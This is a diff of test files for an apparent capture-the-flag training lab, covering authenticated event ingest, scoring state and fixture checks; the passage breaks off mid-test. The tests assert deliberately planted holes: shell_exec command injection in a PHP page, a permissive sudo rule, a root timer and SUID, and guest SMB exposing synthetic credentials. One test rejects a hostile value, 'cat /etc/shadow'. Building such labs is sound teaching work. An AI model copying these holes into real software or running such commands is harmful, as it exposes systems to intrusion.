+import { WORLD } from "../../world/world-definition.mjs";
+import { signEvent } from "../src/event-auth.mjs";
+import {
+  createEventIngestServer,
+  EVENT_INGEST_DEADLINE_MS,
+  listenForEvents,
+  MAX_EVENT_CONNECTIONS,
+} from "../src/ingest-server.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+
+function eventFor(routeId, sessionId) {
+  const route = WORLD.eventRoutes.find((candidate) => candidate.id === routeId);
+  return {
+    sessionId,
+    kind: route.kind,
+    nodeId: route.nodeId,
+    sourceId: route.sourceId,
+    evidenceCode: route.evidenceCode,
+    occurredAt: "2026-07-27T00:00:00.000Z",
+  };
+}
+
+const eventKeys = Object.freeze({
+  low: Buffer.from("low-test-key-32-bytes-minimum-0001", "utf8"),
+  root: Buffer.from("root-test-key-32-bytes-minimum-001", "utf8"),
+});
+
+function authenticated(event, key = eventKeys.low) {
+  return { ...event, authTag: signEvent(event, key) };
+}
+
+function send(socketPath, value) {
+  return new Promise((resolve, reject) => {
+    const socket = net.createConnection(socketPath);
+    let response = "";
+    socket.setEncoding("utf8");
+    socket.on("connect", () => socket.write(`${JSON.stringify(value)}\n`));
+    socket.on("data", (chunk) => {
+      response += chunk;
+    });
+    socket.on("end", () => {
+      try {
+        resolve(JSON.parse(response));
+      } catch (error) {
+        reject(error);
+      }
+    });
+    socket.on("error", reject);
+  });
+}
+
+test("local socket enforces source-scoped authentication before ingestion", async (context) => {
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-socket-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+  const socketPath =
+    process.platform === "win32"
+      ? `\\\\.\\pipe\\open-world-${process.pid}-${Date.now()}`
+      : path.join(temporaryRoot, "events.sock");
+  const engine = new SessionEngine({ sessionId: "socket" });
+  const server = createEventIngestServer({ engine, eventKeys });
+  await listenForEvents(server, { socketPath });
+  context.after(
+    () =>
+      new Promise((resolve) => {
+        server.close(resolve);
+      }),
+  );
+
+  const accepted = await send(
+    socketPath,
+    authenticated(eventFor("event-entry-nfs", "socket"), eventKeys.root),
+  );
+  assert.deepEqual(accepted, {
+    accepted: true,
+    changed: true,
+    revision: 1,
+  });
+  assert.equal(engine.getProjection().progress.discovered, 1);
+
+  const acceptedLow = await send(
+    socketPath,
+    authenticated(eventFor("event-entry-web", "socket"), eventKeys.low),
+  );
+  assert.equal(acceptedLow.accepted, true);
+  assert.equal(acceptedLow.changed, true);
+  assert.equal(engine.getProjection().progress.discovered, 2);
+
+  const missingTag = await send(
+    socketPath,
+    eventFor("event-entry-smb", "socket"),
+  );
+  assert.equal(missingTag.error.code, "event_auth_failed");
+
+  const wrongTag = await send(socketPath, {
+    ...eventFor("event-entry-smb", "socket"),
+    authTag: "0".repeat(64),
+  });
+  assert.equal(wrongTag.error.code, "event_auth_failed");
+
+  const forgedRoot = await send(
+    socketPath,
+    authenticated(eventFor("event-foothold-sales", "socket"), eventKeys.low),
+  );
+  assert.equal(forgedRoot.error.code, "event_auth_failed");
+
+  const rootRoute = eventFor("event-root-common", "socket");
+  const lowSourceRootTuple = {
+    ...rootRoute,
+    sourceId: "apache2.service",
+  };
+  const forgedLowTuple = await send(
+    socketPath,
+    authenticated(lowSourceRootTuple, eventKeys.low),
+  );
+  assert.equal(forgedLowTuple.error.code, "event_not_allowlisted");
+
+  const rejected = await send(socketPath, {
+    ...authenticated(eventFor("event-entry-nfs", "socket"), eventKeys.root),
+    password: "must-never-be-accepted",
+  });
+  assert.equal(rejected.error.code, "event_auth_failed");
+  assert.ok(!JSON.stringify(rejected).includes("must-never-be-accepted"));
+  assert.equal(engine.getProjection().progress.discovered, 2);
+});
+
+test("silent ingest clients are bounded and released without state changes", async (context) => {
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-idle-socket-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+  const socketPath =
+    process.platform === "win32"
+      ? `\\\\.\\pipe\\open-world-idle-${process.pid}-${Date.now()}`
+      : path.join(temporaryRoot, "events.sock");
+  const engine = new SessionEngine({ sessionId: "idle-socket" });
+  const server = createEventIngestServer({ engine, eventKeys });
+  assert.equal(server.maxConnections, MAX_EVENT_CONNECTIONS);
+  assert.ok(EVENT_INGEST_DEADLINE_MS <= 2_000);
+  await listenForEvents(server, { socketPath });
+  context.after(
+    () =>
+      new Promise((resolve) => {
+        server.close(resolve);
+      }),
+  );
+
+  const startedAt = Date.now();
+  const response = await new Promise((resolve, reject) => {
+    const socket = net.createConnection(socketPath);
+    let body = "";
+    socket.setEncoding("utf8");
+    socket.on("data", (chunk) => {
+      body += chunk;
+    });
+    socket.on("close", () => {
+      try {
+        resolve(JSON.parse(body));
+      } catch (error) {
+        reject(error);
+      }
+    });
+    socket.on("error", reject);
+  });
+  const elapsed = Date.now() - startedAt;
+  assert.equal(response.error.code, "event_timeout");
+  assert.ok(elapsed >= 1_000 && elapsed < 4_000);
+  assert.equal(engine.getProjection().progress.discovered, 0);
+  const remainingConnections = await new Promise((resolve, reject) => {
+    server.getConnections((error, count) => {
+      if (error) reject(error);
+      else resolve(count);
+    });
+  });
+  assert.equal(remainingConnections, 0);
+});
diff --git a/labs/open-world-target/telemetry/tests/nfs-watch-ingest-harness.mjs b/labs/open-world-target/telemetry/tests/nfs-watch-ingest-harness.mjs
new file mode 100644
index 0000000..63c56ec
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/nfs-watch-ingest-harness.mjs
@@ -0,0 +1,48 @@
+import { readFile } from "node:fs/promises";
+
+import {
+  createEventIngestServer,
+  listenForEvents,
+} from "../src/ingest-server.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+
+const sessionId = "nfs-kernel-integration";
+const socketPath = process.env.LAB_EVENT_SOCKET;
+const rootKeyPath = process.env.LAB_EVENT_ROOT_KEY_FILE;
+if (!socketPath || !rootKeyPath) {
+  throw new Error("integration socket and root key paths are required");
+}
+
+const rootKey = Buffer.from(
+  (await readFile(rootKeyPath, "utf8")).trim(),
+  "utf8",
+);
+const engine = new SessionEngine({ sessionId });
+const server = createEventIngestServer({
+  engine,
+  eventKeys: {
+    low: Buffer.from("unused-low-integration-key-32-bytes", "utf8"),
+    root: rootKey,
+  },
+});
+
+const timeout = setTimeout(() => {
+  process.stderr.write("timed out waiting for signed NFS event\n");
+  server.close(() => {
+    process.exitCode = 2;
+  });
+}, 10_000);
+
+engine.once("change", (projection) => {
+  clearTimeout(timeout);
+  process.stdout.write(
+    `event-accepted ${JSON.stringify({
+      discovered: projection.progress.discovered,
+      facts: projection.facts.map((fact) => fact.label),
+    })}\n`,
+  );
+  server.close();
+});
+
+await listenForEvents(server, { socketPath });
+process.stdout.write("ingest-ready\n");
diff --git a/labs/open-world-target/telemetry/tests/nfs-watch-linux.test.mjs b/labs/open-world-target/telemetry/tests/nfs-watch-linux.test.mjs
new file mode 100644
index 0000000..f8cc4cf
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/nfs-watch-linux.test.mjs
@@ -0,0 +1,41 @@
+import assert from "node:assert/strict";
+import { execFile } from "node:child_process";
+import { fileURLToPath } from "node:url";
+import { promisify } from "node:util";
+import test from "node:test";
+
+const execFileAsync = promisify(execFile);
+
+test(
+  "Linux kernel IN_ACCESS reaches HMAC-authenticated ingest",
+  {
+    skip:
+      process.platform === "linux"
+        ? false
+        : "requires Linux inotify; runs on Ubuntu CI",
+    timeout: 30_000,
+  },
+  async () => {
+    const script = fileURLToPath(
+      new URL("./nfs-watch.integration.py", import.meta.url),
+    );
+    const { stdout, stderr } = await execFileAsync(
+      "python3",
+      [script],
+      {
+        encoding: "utf8",
+        timeout: 20_000,
+        windowsHide: true,
+      },
+    );
+    assert.equal(stderr, "");
+    assert.match(
+      stdout,
+      /kernel IN_ACCESS -> HMAC emitter -> authenticated ingest: PASS/,
+    );
+    assert.match(
+      stdout,
+      /delivery failure -> nonzero exit: PASS/,
+    );
+  },
+);
diff --git a/labs/open-world-target/telemetry/tests/nfs-watch.integration.py b/labs/open-world-target/telemetry/tests/nfs-watch.integration.py
new file mode 100644
index 0000000..0ab5fc1
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/nfs-watch.integration.py
@@ -0,0 +1,199 @@
+#!/usr/bin/python3
+"""Linux regression: kernel IN_ACCESS reaches authenticated production ingest."""
+
+from __future__ import annotations
+
+import os
+import select
+import shutil
+import subprocess
+import tempfile
+from pathlib import Path
+
+
+ROOT = Path(__file__).resolve().parents[2]
+WATCHER = (
+    ROOT
+    / "world"
+    / "fixtures"
+    / "rootfs"
+    / "usr"
+    / "local"
+    / "libexec"
+    / "open-world-nfs-watch"
+)
+EMITTER_MODULE = ROOT / "telemetry" / "bin" / "emit-event.mjs"
+INGEST_HARNESS = (
+    ROOT / "telemetry" / "tests" / "nfs-watch-ingest-harness.mjs"
+)
+
+
+def ready_line(process: subprocess.Popen[str], label: str) -> str:
+    assert process.stdout is not None
+    readable, _, _ = select.select([process.stdout], [], [], 10)
+    if not readable:
+        raise AssertionError(f"{label} readiness timed out")
+    return process.stdout.readline().strip()
+
+
+def stop_if_running(process: subprocess.Popen[str] | None) -> None:
+    if process is None or process.poll() is not None:
+        return
+    process.terminate()
+    try:
+        process.wait(timeout=3)
+    except subprocess.TimeoutExpired:
+        process.kill()
+        process.wait(timeout=3)
+
+
+def main() -> int:
+    if os.name != "posix":
+        raise SystemExit("nfs-watch integration requires Linux")
+    node = shutil.which("node")
+    if node is None:
+        raise SystemExit("nfs-watch integration requires Node.js")
+
+    with tempfile.TemporaryDirectory(prefix="open-world-nfs-watch-") as directory:
+        temporary = Path(directory)
+        watched = temporary / "ENTRY-NFS.flag"
+        socket_path = temporary / "events.sock"
+        root_key_path = temporary / "root.key"
+        emitter = temporary / "open-world-event"
+        watched.write_text("training flag\n", encoding="ascii")
+        root_key_path.write_text(
+            "root-nfs-integration-key-at-least-32-bytes\n",
+            encoding="ascii",
+        )
+        emitter.write_text(
+            "#!/bin/sh\n"
+            'exec "$OPEN_WORLD_NODE" "$OPEN_WORLD_EMITTER_MODULE" "$@"\n',
+            encoding="ascii",
+        )
+        emitter.chmod(0o755)
+        environment = {
+            **os.environ,
+            "LAB_SESSION_ID": "nfs-kernel-integration",
+            "LAB_EVENT_SOCKET": str(socket_path),
+            "LAB_EVENT_ROOT_KEY_FILE": str(root_key_path),
+            "OPEN_WORLD_EMITTER_MODULE": str(EMITTER_MODULE),
+            "OPEN_WORLD_NODE": node,
+        }
+        environment.pop("NOTIFY_SOCKET", None)
+
+        ingest: subprocess.Popen[str] | None = subprocess.Popen(
+            [node, str(INGEST_HARNESS)],
+            env=environment,
+            stdin=subprocess.DEVNULL,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            text=True,
+        )
+        watcher: subprocess.Popen[str] | None = None
+        try:
+            ingest_ready = ready_line(ingest, "ingest")
+            if ingest_ready != "ingest-ready":
+                raise AssertionError(
+                    f"ingest returned unexpected readiness: {ingest_ready}"
+                )
+
+            watcher = subprocess.Popen(
+                [
+                    "/usr/bin/python3",
+                    str(WATCHER),
+                    "--watch",
+                    str(watched),
+                    "--emitter",
+                    str(emitter),
+                    "--once",
+                ],
+                env=environment,
+                stdin=subprocess.DEVNULL,
+                stdout=subprocess.PIPE,
+                stderr=subprocess.PIPE,
+                text=True,
+            )
+            watcher_ready = ready_line(watcher, "watcher")
+            if watcher_ready != "watch-ready":
+                raise AssertionError(
+                    f"watcher returned unexpected readiness: {watcher_ready}"
+                )
+
+            replacement = temporary / "replacement.flag"
+            replacement.write_text("training flag\n", encoding="ascii")
+            os.replace(replacement, watched)
+            with watched.open("rb") as flag_file:
+                assert flag_file.read() == b"training flag\n"
+
+            watcher_stdout, watcher_stderr = watcher.communicate(timeout=10)
+            if watcher.returncode != 0:
+                raise AssertionError(
+                    f"watcher failed ({watcher.returncode}): "
+                    f"{watcher_stdout} {watcher_stderr}"
+                )
+            ingest_stdout, ingest_stderr = ingest.communicate(timeout=10)
+            if ingest.returncode != 0:
+                raise AssertionError(
+                    f"ingest failed ({ingest.returncode}): "
+                    f"{ingest_stdout} {ingest_stderr}"
+                )
+            if (
+                '"discovered":1' not in ingest_stdout
+                or '"整備場のNFS共有"' not in ingest_stdout
+            ):
+                raise AssertionError(
+                    f"unexpected projection: {ingest_stdout}"
+                )
+        finally:
+            stop_if_running(watcher)
+            stop_if_running(ingest)
+
+        failing_watcher: subprocess.Popen[str] | None = subprocess.Popen(
+            [
+                "/usr/bin/python3",
+                str(WATCHER),
+                "--watch",
+                str(watched),
+                "--emitter",
+                "/bin/false",
+                "--once",
+            ],
+            env=environment,
+            stdin=subprocess.DEVNULL,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            text=True,
+        )
+        try:
+            if ready_line(failing_watcher, "failing watcher") != "watch-ready":
+                raise AssertionError("failing watcher did not become ready")
+            with watched.open("rb") as flag_file:
+                assert flag_file.read() == b"training flag\n"
+            failure_stdout, failure_stderr = failing_watcher.communicate(
+                timeout=10
+            )
+            if failing_watcher.returncode != 1:
+                raise AssertionError(
+                    f"delivery failure did not fail closed: {failure_stdout}"
+                )
+            if failure_stderr.strip() != (
+                "open-world-nfs-watch: RuntimeError"
+            ):
+                raise AssertionError(
+                    f"unexpected bounded failure output: {failure_stderr}"
+                )
+        finally:
+            stop_if_running(failing_watcher)
+
+    print(
+        "nfs-watch integration: kernel IN_ACCESS -> HMAC emitter "
+        "-> authenticated ingest: PASS"
+    )
+    print(
+        "nfs-watch integration: delivery failure -> nonzero exit: PASS"
+    )
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/labs/open-world-target/telemetry/tests/session-engine.test.mjs b/labs/open-world-target/telemetry/tests/session-engine.test.mjs
new file mode 100644
index 0000000..0f10c20
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/session-engine.test.mjs
@@ -0,0 +1,263 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  getPrivateFlagAnswer,
+} from "../../world/private-answers.mjs";
+import { WORLD } from "../../world/world-definition.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+
+function eventFor(routeId, sessionId, occurredAt = "2026-07-27T00:00:00.000Z") {
+  const route = WORLD.eventRoutes.find((candidate) => candidate.id === routeId);
+  assert.ok(route, `unknown route ${routeId}`);
+  return {
+    sessionId,
+    kind: route.kind,
+    nodeId: route.nodeId,
+    sourceId: route.sourceId,
+    evidenceCode: route.evidenceCode,
+    occurredAt,
+  };
+}
+
+test("initial projection reveals silhouettes but no hidden labels, answers, or hint bodies", () => {
+  const engine = new SessionEngine({ sessionId: "privacy" });
+  const projectionText = JSON.stringify(engine.getProjection());
+
+  assert.equal(engine.getProjection().facts.length, 0);
+  assert.deepEqual(
+    engine.getProjection().graph.nodes.map((node) => Object.keys(node).sort()),
+    [
+      ["id", "state"],
+      ["id", "state"],
+      ["id", "state"],
+    ],
+  );
+  assert.ok(
+    engine
+      .getProjection()
+      .hints.every((hint) => !Object.hasOwn(hint, "body")),
+  );
+  for (const flag of WORLD.flags) {
+    assert.ok(!projectionText.includes(getPrivateFlagAnswer(flag.id)));
+    assert.ok(!projectionText.includes(flag.id));
+  }
+  for (const node of WORLD.nodes) {
+    assert.ok(!projectionText.includes(node.id));
+  }
+});
+
+test("event input is an exact allowlist and state transitions are idempotent", () => {
+  const engine = new SessionEngine({ sessionId: "allowlist" });
+  const event = eventFor("event-entry-web", "allowlist");
+
+  const first = engine.applyEvent(event);
+  assert.equal(first.changed, true);
+  assert.equal(first.projection.progress.discovered, 1);
+  assert.equal(first.projection.facts[0].label, "スタッフ用の診断画面");
+  const remainingEntrances = first.projection.graph.nodes.filter(
+    (node) => node.state === "undiscovered" && ["map-02", "map-03"].includes(node.id),
+  );
+  assert.equal(remainingEntrances.length, 2);
+
+  const duplicate = engine.applyEvent(event);
+  assert.equal(duplicate.changed, false);
+  assert.equal(duplicate.projection.revision, first.projection.revision);
+
+  const sameTransitionLater = engine.applyEvent({
+    ...event,
+    occurredAt: "2026-07-27T00:00:01.000Z",
+  });
+  assert.equal(sameTransitionLater.changed, false);
+  assert.equal(
+    sameTransitionLater.projection.revision,
+    first.projection.revision,
+  );
+
+  assert.throws(
+    () => engine.applyEvent({ ...event, command: "cat /etc/shadow" }),
+    (error) => error.code === "invalid_event_fields",
+  );
+  assert.throws(
+    () =>
+      engine.applyEvent({
+        ...event,
+        sourceId: "ssh.service",
+      }),
+    (error) => error.code === "event_not_allowlisted",
+  );
+  assert.throws(
+    () =>
+      engine.applyEvent({
+        ...event,
+        sessionId: "another-session",
+      }),
+    (error) => error.code === "session_mismatch",
+  );
+});
+
+test("independent discoveries are accepted without a strict walkthrough gate", () => {
+  const engine = new SessionEngine({ sessionId: "open-world-order" });
+  const result = engine.applyEvent(
+    eventFor("event-clue-timer", "open-world-order"),
+  );
+  assert.equal(result.changed, true);
+  assert.equal(result.projection.progress.discovered, 1);
+  assert.ok(
+    result.projection.facts.some(
+      (fact) => fact.label === "定期処理の手掛かり",
+    ),
+  );
+});
+
+const ENTRANCE_ROUTES = [
+  ["event-entry-web", "event-foothold-web"],
+  ["event-entry-smb", "event-foothold-sales"],
+  ["event-entry-nfs", "event-foothold-mechanic"],
+];
+const ROOT_ROUTES = [
+  ["event-clue-sudo", "event-route-sudo", "event-root-common"],
+  ["event-clue-timer", "event-route-timer", "event-root-common"],
+  ["event-clue-suid", "event-route-suid", "event-root-common"],
+];
+
+for (const [entranceIndex, entranceRoute] of ENTRANCE_ROUTES.entries()) {
+  for (const [rootIndex, rootRoute] of ROOT_ROUTES.entries()) {
+    test(`fresh route combination ${entranceIndex + 1}x${rootIndex + 1} reaches root`, () => {
+      const sessionId = `route-${entranceIndex + 1}-${rootIndex + 1}`;
+      const engine = new SessionEngine({ sessionId });
+      [...entranceRoute, ...rootRoute].forEach((routeId, index) => {
+        engine.applyEvent(
+          eventFor(
+            routeId,
+            sessionId,
+            `2026-07-27T00:00:0${index}.000Z`,
+          ),
+        );
+      });
+
+      const projection = engine.getProjection();
+      assert.equal(projection.status, "complete");
+      assert.equal(projection.progress.discovered, 5);
+      assert.ok(
+        projection.facts.some((fact) => fact.label === "Debian root"),
+      );
+    });
+  }
+}
+
+test("all automatic flags plus post-root manual Windows flag reach 14 of 14", () => {
+  const sessionId = "all-flags";
+  const engine = new SessionEngine({ sessionId });
+  const routes = [
+    "event-entry-web",
+    "event-entry-smb",
+    "event-entry-nfs",
+    "event-foothold-web",
+    "event-foothold-sales",
+    "event-foothold-mechanic",
+    "event-clue-sudo",
+    "event-clue-timer",
+    "event-clue-suid",
+    "event-route-sudo",
+    "event-route-timer",
+    "event-route-suid",
+    "event-root-common",
+  ];
+  routes.forEach((routeId, index) => {
+    engine.applyEvent(
+      eventFor(
+        routeId,
+        sessionId,
+        `2026-07-27T00:00:${String(index).padStart(2, "0")}.000Z`,
+      ),
+    );
+  });
+  assert.equal(engine.getProjection().progress.discovered, 13);
+
+  const result = engine.submitManualFlag(
+    getPrivateFlagAnswer("flag-windows"),
+  );
+  assert.equal(result.accepted, true);
+  assert.equal(result.changed, true);
+  assert.equal(result.projection.progress.discovered, 14);
+  const projectionText = JSON.stringify(result.projection);
+  for (const flag of WORLD.flags) {
+    assert.ok(!projectionText.includes(flag.id));
+    assert.ok(!projectionText.includes(getPrivateFlagAnswer(flag.id)));
+  }
+});
+
+test("root completion is the final accepted automatic state transition", () => {
+  const sessionId = "root-final-event";
+  const engine = new SessionEngine({ sessionId });
+  engine.applyEvent(eventFor("event-root-common", sessionId));
+  const rootRevision = engine.getProjection().revision;
+
+  const afterRoot = engine.applyEvent(
+    eventFor(
+      "event-entry-web",
+      sessionId,
+      "2026-07-27T00:00:01.000Z",
+    ),
+  );
+  assert.equal(afterRoot.changed, false);
+  assert.equal(afterRoot.projection.revision, rootRevision);
+  assert.equal(afterRoot.projection.progress.discovered, 1);
+});
+
+test("manual fallback never stores the submitted answer and is gated while live", () => {
+  const answer = getPrivateFlagAnswer("flag-entry-smb");
+  const liveEngine = new SessionEngine({ sessionId: "manual-live" });
+  assert.throws(
+    () => liveEngine.submitManualFlag(answer),
+    (error) => error.code === "manual_fallback_inactive",
+  );
+  assert.throws(
+    () => liveEngine.submitManualFlag("FLAG{not-valid}"),
+    (error) => error.code === "manual_fallback_inactive",
+  );
+
+  const engine = new SessionEngine({
+    sessionId: "manual-down",
+    telemetryStatus: "unavailable",
+    now: () => "2026-07-27T02:00:00.000Z",
+  });
+  assert.equal(engine.submitManualFlag("FLAG{not-valid}").accepted, false);
+  assert.equal(
+    engine.submitManualFlag(getPrivateFlagAnswer("flag-windows")).accepted,
+    false,
+  );
+  const result = engine.submitManualFlag(answer);
+  assert.equal(result.accepted, true);
+  assert.equal(result.projection.progress.discovered, 1);
+  assert.ok(!JSON.stringify(engine.exportState()).includes(answer));
+  assert.ok(!JSON.stringify(result.projection).includes(answer));
+});
+
+test("hypotheses and hints unlock in the accepted order without early bodies", () => {
+  const engine = new SessionEngine({ sessionId: "hints" });
+  let projection = engine.getProjection();
+  assert.equal(projection.hints[0].state, "available");
+  assert.equal(projection.hints[1].state, "locked");
+
+  projection = engine.unlockHint("hyp-service-inventory:1").projection;
+  assert.equal(projection.hints[0].state, "unlocked");
+  assert.ok(projection.hints[0].body);
+  assert.ok(!Object.hasOwn(projection.hints[1], "body"));
+  assert.throws(
+    () => engine.unlockHint("hyp-service-inventory:3"),
+    (error) => error.code === "hint_order",
+  );
+
+  engine.applyEvent(eventFor("event-entry-web", "hints"));
+  projection = engine.selectHypothesis("hyp-web-input-boundary").projection;
+  assert.equal(
+    projection.hypotheses.find(
+      (hypothesis) => hypothesis.id === "hyp-web-input-boundary",
+    ).selected,
+    true,
+  );
+  assert.equal(projection.hints[0].title, "見る場所");
+  assert.ok(projection.hints.every((hint) => !Object.hasOwn(hint, "body")));
+});
diff --git a/labs/open-world-target/telemetry/tests/state-store.test.mjs b/labs/open-world-target/telemetry/tests/state-store.test.mjs
new file mode 100644
index 0000000..1305a89
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/state-store.test.mjs
@@ -0,0 +1,46 @@
+import assert from "node:assert/strict";
+import { mkdtemp, readFile, rm } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import test from "node:test";
+
+import { SessionEngine } from "../src/session-engine.mjs";
+import { JsonStateStore } from "../src/state-store.mjs";
+
+test("state store round-trips derived state and blocks forbidden material", async (context) => {
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-state-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+  const statePath = path.join(temporaryRoot, "state.json");
+  const store = new JsonStateStore(statePath);
+  const engine = new SessionEngine({
+    sessionId: "stored",
+    telemetryStatus: "unavailable",
+  });
+  engine.unlockHint("hyp-service-inventory:1");
+  await store.save(engine.exportState());
+
+  const serialized = await readFile(statePath, "utf8");
+  assert.ok(!serialized.includes("FLAG{"));
+  assert.ok(!serialized.includes('"command"'));
+  const restored = new SessionEngine({
+    sessionId: "stored",
+    telemetryStatus: "unavailable",
+    storedState: await store.load(),
+  });
+  assert.deepEqual(restored.getProjection(), engine.getProjection());
+
+  await assert.rejects(
+    store.save({ sessionId: "stored", command: "sensitive" }),
+    /forbidden telemetry material/,
+  );
+  await assert.rejects(
+    store.save({ sessionId: "stored", value: "FLAG{secret}" }),
+    /forbidden telemetry material/,
+  );
+  await assert.rejects(
+    store.save({ sessionId: "stored", authTag: "a".repeat(64) }),
+    /forbidden telemetry material/,
+  );
+});
diff --git a/labs/open-world-target/telemetry/tests/static-fixtures.test.mjs b/labs/open-world-target/telemetry/tests/static-fixtures.test.mjs
new file mode 100644
index 0000000..f1eb5c6
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/static-fixtures.test.mjs
@@ -0,0 +1,428 @@
+import assert from "node:assert/strict";
+import { access, readFile } from "node:fs/promises";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import test from "node:test";
+
+import { WORLD } from "../../world/world-definition.mjs";
+
+const testDirectory = path.dirname(fileURLToPath(import.meta.url));
+const fixtureRoot = path.resolve(
+  testDirectory,
+  "../../world/fixtures/rootfs",
+);
+const fixtures = path.resolve(testDirectory, "../../world/fixtures");
+const platformTemplates = path.resolve(
+  testDirectory,
+  "../../platform/templates",
+);
+
+async function fixture(relativePath) {
+  return readFile(path.join(fixtureRoot, relativePath), "utf8");
+}
+
+async function telemetryFixture(relativePath) {
+  return readFile(path.resolve(testDirectory, "..", relativePath), "utf8");
+}
+
+async function platformFixture(relativePath) {
+  return readFile(path.join(platformTemplates, relativePath), "utf8");
+}
+
+test("fixture manifest is synthetic and uses the cross-subsystem unit names", async () => {
+  const manifest = JSON.parse(
+    await readFile(path.join(fixtures, "fixture-manifest.json"), "utf8"),
+  );
+  assert.equal(manifest.synthetic, true);
+  assert.equal(manifest.network.targetAddress, "10.13.37.10/24");
+  assert.equal(manifest.network.externalRouteRequired, false);
+  assert.deepEqual(manifest.services, [
+    "apache2.service",
+    "dnsmasq.service",
+    "ssh.service",
+    "smbd.service",
+    "nfs-server.service",
+    "open-world-nfs-watch.service",
+    "open-world-file-watch.service",
+    "open-world-root-timer.timer",
+    "open-world-telemetry.service",
+  ]);
+  assert.deepEqual(manifest.groups["lab-foothold"], [
+    "www-data",
+    "sales",
+    "mechanic",
+  ]);
+  assert.deepEqual(manifest.groups["lab-events"], [
+    "www-data",
+    "nobody",
+    "lab-telemetry",
+  ]);
+  assert.ok(manifest.accounts.every((account) => account.synthetic === true));
+  assert.deepEqual(manifest.eventKeyProvisioning.directory, {
+    path: "/etc/examserver-open-world/event-keys",
+    owner: "root",
+    group: "root",
+    mode: "0711",
+  });
+  assert.deepEqual(manifest.eventKeyProvisioning.low, {
+    path: "/etc/examserver-open-world/event-keys/low.key",
+    owner: "root",
+    group: "lab-events",
+    mode: "0440",
+    minimumRandomBytes: 32,
+  });
+  assert.deepEqual(manifest.eventKeyProvisioning.root, {
+    path: "/etc/examserver-open-world/event-keys/root.key",
+    owner: "root",
+    group: "lab-telemetry",
+    mode: "0440",
+    minimumRandomBytes: 32,
+  });
+});
+
+test("Web fixture is bound to the lab address and emits constants, never the raw target", async () => {
+  const apache = await fixture(
+    "etc/apache2/sites-available/open-world-target.conf",
+  );
+  const php = await fixture("var/www/kazekiri/staff/diagnostics.php");
+
+  assert.match(apache, /Listen 10\.13\.37\.10:80/);
+  assert.match(apache, /CustomLog .*"%a %t %m %U %>s"/);
+  assert.ok(!apache.includes("%q"));
+  assert.match(php, /shell_exec\("\/bin\/ping -c 1 " \. \$target/);
+  assert.match(php, /web\.command\.execution_observed/);
+  assert.ok(!php.match(/open-world-event[^;]*\$target/s));
+});
+
+test("SMB disclosure and NFS ownership fixtures stay on the direct-link CIDR", async () => {
+  const samba = await fixture(
+    "etc/samba/smb.conf.d/open-world-target.conf",
+  );
+  const handover = await fixture("srv/kazekiri/handover/SHIFT-HANDOVER.txt");
+  const exportsFile = await fixture(
+    "etc/exports.d/open-world-target.exports",
+  );
+  const nfsConfig = await fixture("etc/nfs.conf.d/open-world-target.conf");
+  const credentials = JSON.parse(
+    await readFile(path.join(fixtures, "synthetic-credentials.json"), "utf8"),
+  );
+
+  assert.match(samba, /interfaces = lo 10\.13\.37\.10\/24/);
+  assert.match(samba, /guest ok = yes/);
+  assert.match(samba, /guest account = nobody/);
+  assert.match(samba, /read only = yes/);
+  assert.match(samba, /^\s*smb ports = 445\s*$/m);
+  assert.ok(!samba.match(/^\s*smb ports\s*=.*\b139\b/m));
+  assert.match(samba, /smbd\.service/);
+  assert.equal(credentials.trainingOnly, true);
+  assert.ok(handover.includes(credentials.accounts[0].username));
+  assert.ok(handover.includes(credentials.accounts[0].password));
+
+  assert.match(exportsFile, /10\.13\.37\.0\/24/);
+  assert.match(exportsFile, /fsid=0/);
+  assert.match(exportsFile, /all_squash/);
+  assert.match(exportsFile, /anonuid=1102/);
+  assert.ok(!exportsFile.includes("no_root_squash"));
+  assert.match(nfsConfig, /\[nfsd\]/);
+  assert.match(nfsConfig, /vers2 = n/);
+  assert.match(nfsConfig, /vers3 = n/);
+  assert.match(nfsConfig, /vers4 = y/);
+  assert.match(nfsConfig, /tcp = y/);
+  assert.match(nfsConfig, /udp = n/);
+  assert.match(nfsConfig, /port = 2049/);
+  assert.match(nfsConfig, /\[mountd\]\s+port = 20048/);
+  const nfsHypothesis = WORLD.hypotheses.find(
+    (hypothesis) => hypothesis.id === "hyp-nfs-ownership",
+  );
+  assert.ok(!JSON.stringify(nfsHypothesis).includes("showmount"));
+  assert.match(
+    nfsHypothesis.hints[2].body,
+    /mount -t nfs4 -o vers=4,proto=tcp 10\.13\.37\.10:\//,
+  );
+});
+
+test("sudo, timer, and SUID fixtures express three distinct training-only root boundaries", async () => {
+  const sudoers = await fixture("etc/sudoers.d/open-world-target");
+  const helper = await fixture("usr/local/sbin/kazekiri-maintenance");
+  const timer = await fixture(
+    "etc/systemd/system/open-world-root-timer.timer",
+  );
+  const timerService = await fixture(
+    "etc/systemd/system/open-world-root-timer.service",
+  );
+  const timerCheck = await fixture("usr/local/libexec/open-world-timer-check");
+  const suidSource = await fixture("usr/local/src/kazekiri-report.c");
+
+  assert.match(
+    sudoers,
+    /%lab-foothold ALL=\(root\) NOPASSWD: \/usr\/local\/sbin\/kazekiri-maintenance/,
+  );
+  assert.match(helper, /\/srv\/kazekiri\/maintenance-hooks\/\*/);
+  assert.match(helper, /\/root\/route-flags\/SUDO\.flag/);
+
+  assert.match(timer, /Unit=open-world-root-timer\.service/);
+  assert.match(timerService, /User=root/);
+  assert.match(
+    timerService,
